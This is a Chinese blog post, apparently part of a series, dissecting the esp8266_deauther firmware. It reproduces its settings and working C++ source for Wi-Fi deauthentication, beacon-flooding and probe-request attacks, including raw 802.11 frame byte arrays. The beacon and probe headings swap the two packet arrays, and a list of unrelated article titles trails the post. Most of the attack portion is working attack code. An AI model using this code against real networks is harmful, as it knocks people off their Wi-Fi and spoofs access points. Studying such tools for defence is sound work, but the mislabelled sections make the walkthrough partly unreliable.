这一系列的文章仅作技术研究,请遵守相关法律(中华人民共和国网络安全法),请勿使用相关技术来攻击他人!

1 软件配置方法

1.1wifi相关配置

这一部分的配置在wifi.h文件中,这里规定了web文件的位置,已经wifi的配置。比如登陆的ip地址,默认是192.168.4.1,默认的子网掩码是255.255.255.0。

  1. // Server and other global objects
  2. ESP8266WebServer server(80);
  3. DNSServer dnsServer;
  4. IPAddress apIP(192, 168, 4, 1);
  5. IPAddress netMsk(255, 255, 255, 0);
  6. File fsUploadFile;
  7. // current WiFi mode and config
  8. uint8_t wifiMode = WIFI_MODE_OFF;
  9. bool wifi_config_hidden = false;
  10. bool wifi_config_captivePortal = false;
  11. String wifi_config_ssid;
  12. String wifi_config_password;
  13. String wifi_config_path;

1.2核心配置

这一部分的配置在Setting.h中,比如版本号、攻击超时时间、wifi的channel、SSID、password、是否隐藏SSID、语言等。比如登陆使用的SSID默认为pwned,密码默认为deauther,默认的语言为英语。本来想做一个汉化包进去方便中国爱好者使用,后来发现在V2.1中,已经加入了中文语言包。V2.1web页面支持的语言包括:cn中文、cs捷克语、de德语、en英语、es西班牙语、fi芬兰语、fr法语、it意大利语、ro罗马尼亚语、ru俄语、tlh克林贡语

  1. bool changed = false;
  2. String version = VERSION;
  3. bool beaconChannel = false;
  4. bool autosave = true;
  5. bool beaconInterval = false;
  6. bool cli = true;
  7. bool displayInterface = USE_DISPLAY;
  8. bool webInterface = true;
  9. bool webSpiffs = false;
  10. bool randomTX = false;
  11. bool ledEnabled = true;
  12. bool serialEcho = true;
  13. uint32_t attackTimeout = 600;
  14. uint32_t autosaveTime = 10000;
  15. uint32_t displayTimeout = 600;
  16. uint16_t deauthsPerTarget = 20;
  17. uint16_t chTime = 384;
  18. uint16_t minDeauths = 3;
  19. uint8_t forcePackets = 1;
  20. uint8_t channel = 9;
  21. uint8_t deauthReason = 1;
  22. uint8_t *macSt;
  23. uint8_t *macAP;
  24. uint8_t probesPerSSID = 1;
  25. String ssid = "pwned";
  26. String password = "deauther";
  27. bool hidden = false;
  28. bool captivePortal = true;
  29. String lang = "en";

(3)其他配置
其他的配置设及到一些关键的数据结构,这里没有多做研究。

2 网络攻击核心代码解析

2.1 deauth攻击

(1)deauth攻击数据包deauthPacket[26]的结构

  1. uint8_t deauthPacket[26] = {
  2. /* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate)
  3. /* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that)
  4. /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target)
  5. /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap)
  6. /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap)
  7. /* 22 - 23 */ 0x00, 0x00, // fragment & squence number
  8. /* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason)
  9. }

(2)deauth攻击核心代码

  1. bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {
  2. if (!stMac) return false; // exit when station mac is null
  3. // Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging
  4. bool success = false;
  5. // build deauth packet
  6. packetSize = sizeof(deauthPacket);
  7. memcpy(&deauthPacket[4], stMac, 6);
  8. memcpy(&deauthPacket[10], apMac, 6);
  9. memcpy(&deauthPacket[16], apMac, 6);
  10. deauthPacket[24] = reason;
  11. // send deauth frame
  12. deauthPacket[0] = 0xc0;
  13. if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
  14. success = true;
  15. deauth.packetCounter++;
  16. }
  17. // send disassociate frame
  18. deauthPacket[0] = 0xa0;
  19. if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
  20. success = true;
  21. deauth.packetCounter++;
  22. }
  23. // send another packet, this time from the station to the accesspoint
  24. if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast
  25. // build deauth packet
  26. memcpy(&deauthPacket[4], apMac, 6);
  27. memcpy(&deauthPacket[10], stMac, 6);
  28. memcpy(&deauthPacket[16], stMac, 6);
  29. // send deauth frame
  30. deauthPacket[0] = 0xc0;
  31. if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
  32. success = true;
  33. deauth.packetCounter++;
  34. }
  35. // send disassociate frame
  36. deauthPacket[0] = 0xa0;
  37. if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
  38. success = true;
  39. deauth.packetCounter++;
  40. }
  41. }
  42. if (success) deauth.time = currentTime;
  43. return success;
  44. }

2.2 beacon攻击

(1)beacon攻击数据包beaconPacket[68]的结构

  1. uint8_t probePacket[68] = {
  2. /* 0 - 1 */ 0x40, 0x00, // Type: Probe Request
  3. /* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds
  4. /* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
  5. /* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC
  6. /* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
  7. /* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK)
  8. /* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
  9. /* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID
  10. 0x20, 0x20, 0x20, 0x20,
  11. 0x20, 0x20, 0x20, 0x20,
  12. 0x20, 0x20, 0x20, 0x20,
  13. 0x20, 0x20, 0x20, 0x20,
  14. 0x20, 0x20, 0x20, 0x20,
  15. 0x20, 0x20, 0x20, 0x20,
  16. 0x20, 0x20, 0x20, 0x20,
  17. /* 58 - 59 */ 0x01, 0x08, // Tag Number: Supported Rates (1), Tag length: 8
  18. /* 60 */ 0x82, // 1(B)
  19. /* 61 */ 0x84, // 2(B)
  20. /* 62 */ 0x8b, // 5.5(B)
  21. /* 63 */ 0x96, // 11(B)
  22. /* 64 */ 0x24, // 18
  23. /* 65 */ 0x30, // 24
  24. /* 66 */ 0x48, // 36
  25. /* 67 */ 0x6c // 54
  26. }

(2)beacon攻击核心代码

  1. bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {
  2. packetSize = sizeof(beaconPacket);
  3. if (wpa2) {
  4. beaconPacket[34] = 0x31;
  5. } else {
  6. beaconPacket[34] = 0x21;
  7. packetSize -= 26;
  8. }
  9. int ssidLen = strlen(ssid);
  10. if (ssidLen > 32) ssidLen = 32;
  11. memcpy(&beaconPacket[10], mac, 6);
  12. memcpy(&beaconPacket[16], mac, 6);
  13. memcpy(&beaconPacket[38], ssid, ssidLen);
  14. beaconPacket[82] = ch;
  15. // =====
  16. uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size
  17. uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer
  18. memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer
  19. tmpPacket[37] = ssidLen; // update SSID length byte
  20. memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer
  21. if (sendPacket(tmpPacket, tmpPacketSize, ch, settings.getForcePackets())) {
  22. beacon.time = currentTime;
  23. beacon.packetCounter++;
  24. delete tmpPacket; // free memory of allocated buffer
  25. return true;
  26. } else {
  27. delete tmpPacket; // free memory of allocated buffer
  28. return false;
  29. }
  30. // =====
  31. }

2.3 probe攻击

(1)probe攻击数据包probePacket[109]的结构

  1. uint8_t beaconPacket[109] = {
  2. /* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
  3. /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
  4. /* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
  5. /* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
  6. // Fixed parameters
  7. /* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
  8. /* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
  9. /* 32 - 33 */ 0xe8, 0x03, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
  10. /* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
  11. // Tagged parameters
  12. // SSID parameters
  13. /* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
  14. /* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
  15. 0x20, 0x20, 0x20, 0x20,
  16. 0x20, 0x20, 0x20, 0x20,
  17. 0x20, 0x20, 0x20, 0x20,
  18. 0x20, 0x20, 0x20, 0x20,
  19. 0x20, 0x20, 0x20, 0x20,
  20. 0x20, 0x20, 0x20, 0x20,
  21. 0x20, 0x20, 0x20, 0x20, // SSID
  22. // Supported Rates
  23. /* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
  24. /* 72 */ 0x82, // 1(B)
  25. /* 73 */ 0x84, // 2(B)
  26. /* 74 */ 0x8b, // 5.5(B)
  27. /* 75 */ 0x96, // 11(B)
  28. /* 76 */ 0x24, // 18
  29. /* 77 */ 0x30, // 24
  30. /* 78 */ 0x48, // 36
  31. /* 79 */ 0x6c, // 54
  32. // Current Channel
  33. /* 80 - 81 */ 0x03, 0x01, // Channel set, length
  34. /* 82 */ 0x01, // Current Channel
  35. // RSN information
  36. /* 83 - 84 */ 0x30, 0x18,
  37. /* 85 - 86 */ 0x01, 0x00,
  38. /* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02,
  39. /* 91 - 92 */ 0x02, 0x00,
  40. /* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/
  41. /* 101 - 102 */ 0x01, 0x00,
  42. /* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02,
  43. /* 107 - 108 */ 0x00, 0x00}

(2)probe攻击核心代码

  1. bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {
  2. packetSize = sizeof(probePacket);
  3. int ssidLen = strlen(ssid);
  4. if (ssidLen > 32) ssidLen = 32;
  5. memcpy(&probePacket[10], mac, 6);
  6. memcpy(&probePacket[26], ssid, ssidLen);
  7. if (sendPacket(probePacket, packetSize, ch, settings.getForcePackets())) {
  8. probe.time = currentTime;
  9. probe.packetCounter++;
  10. return true;
  11. }
  12. return false;
  13. }

esp8266_deauther第四篇相关推荐

  1. NeurIPS提前看 | 四篇论文,一窥元学习的最新研究进展

    2019 年,NeurIPS 接受与元学习相关的研究论文约有 20 余篇.元学习(Meta-Learning)是近几年的研究热点,其目的是基于少量无标签数据实现快速有效的学习.本文对本次接收的元学习论 ...

  2. spring之旅第四篇-注解配置详解

    spring之旅第四篇-注解配置详解 一.引言 最近因为找工作,导致很长时间没有更新,找工作的时候你会明白浪费的时间后面都是要还的,现在的每一点努力,将来也会给你回报的,但行好事,莫问前程!努力总不会 ...

  3. 深入理解javascript作用域系列第四篇——块作用域

    前面的话 尽管函数作用域是最常见的作用域单元,也是现行大多数javascript最普遍的设计方法,但其他类型的作用域单元也是存在的,并且通过使用其他类型的作用域单元甚至可以实现维护起来更加优秀.简洁的 ...

  4. android 测试工具,Android开源项目第四篇:开发及测试工具篇

    本文为那些不错的Android开源项目第四篇--开发工具篇,**主要介绍Android开发工具和测试工具相关的开源项目**. Android开源项目系列汇总已完成,包括: 1.Buck faceboo ...

  5. Python之路【第十四篇】:AngularJS --暂无内容-待更新

    Python之路[第十四篇]:AngularJS --暂无内容-待更新 转载于:https://www.cnblogs.com/weiman3389/p/6224181.html

  6. 最简单人工智能python_Python人工智能之路 - 第四篇 : jieba gensim 最好别分家之最简单的相似度实现...

    简单的问答已经实现了,那么问题也跟着出现了,我不能确定问题一定是"你叫什么名字",也有可能是"你是谁","你叫啥"之类的,这就引出了人工智能 ...

  7. VULKAN学习笔记-inter教学四篇

    VULKAN学习笔记-inter教学四篇 --交换链相关函数:实例层 vkCreateWin32SurfaceKHR vkDestroySurfaceKHR vkGetPhysicalDeviceSu ...

  8. 【论文相关】盘点AAAI2020中的四篇推荐系统好文

    AAAI中推荐系统的文章并不多,目之所及处仅有四篇.内容上覆盖了评论推荐.多目标推荐以及图神经网络等话题. 本文基于AAAI中的这四篇推荐系统论文,展开瞅一瞅它们都讲了些什么. 第一篇文章:可解释评论 ...

  9. 四篇NeurIPS 2019论文,快手特效中的模型压缩了解一下

    在即将过去的 2019 年中,快手西雅图实验室在 ICLR.CVPR.AISTATS.ICML 和 NeurIPS 等顶会上发表了十多篇论文. 除了这些研究方面的成果,针对实际业务,西雅图实验室和快手 ...

  10. 史上最简单的SpringCloud教程 | 第四篇:断路器(Hystrix)

    转:https://blog.csdn.net/forezp/article/details/69934399 最新版本: 史上最简单的SpringCloud教程 | 第四篇:断路器(Hystrix) ...

最新文章

  1. Android发布项目到外部仓库
  2. linux 发送邮件
  3. 在windows中安装python
  4. 基本套接字总结(@function)
  5. python查询数据库,打印查询结果过程中出现'NoneType' object is unsubscriptable
  6. 方立勋_30天掌握JavaWeb_JSTL标签库
  7. PHP安装之configure的配置参数
  8. 不同的写法 其中 1 2 (试了下 没有效果 ,先记载这里把)
  9. python中提供怎样的内置库、可以用来创建用户界面_使用外部GUI库在Autodesk中创建用户界面可能会...
  10. 前端开发使用的 安卓模拟器_抖音有电脑版或者网页版吗?如何在电脑上使用抖音?...
  11. Asp.Net Mvc4分页,扩展HtmlHelper类
  12. GDT、LDT、IDTR、TR
  13. php调用pdf虚拟打印机,电脑中怎么安装pdf虚拟打印机
  14. CRMEB制作docker-compose
  15. 级联样式单与CSS选择器
  16. 色彩缤纷的python(改变字体颜色及样式)不是我写的
  17. BH1750FVI光强度传感器及其STM32驱动程序
  18. com lofter android,LOFTER
  19. 详解Python中的文本处理
  20. 程序员和黑客的十大本质区别

热门文章

  1. 软件工程专业就业方向职业规划
  2. min 和 s.t. 是什么意思
  3. 【css】css实现图片或动图边缘模糊化处理(附示例代码)
  4. 美团点评运营数据产品化实战
  5. 在Linux命令行中操作PDF
  6. 80后一代开始结婚 独生子女开始承担新的责任
  7. 大一计算机专业学期计划范文,【大一学习计划22篇】_大一学习计划范文大全_2021年大一学习计划_东城教研...
  8. 计算机网络(第7版 谢希仁)第四章课后习题答案
  9. reflections歌词翻译_Reflections歌词
  10. 前端vue实现图片压缩并且将其转换为jpg格式图片;前端转换图片格式;前端使用js转换图片格式;前端使用canvas将png格式图片转成jpg格式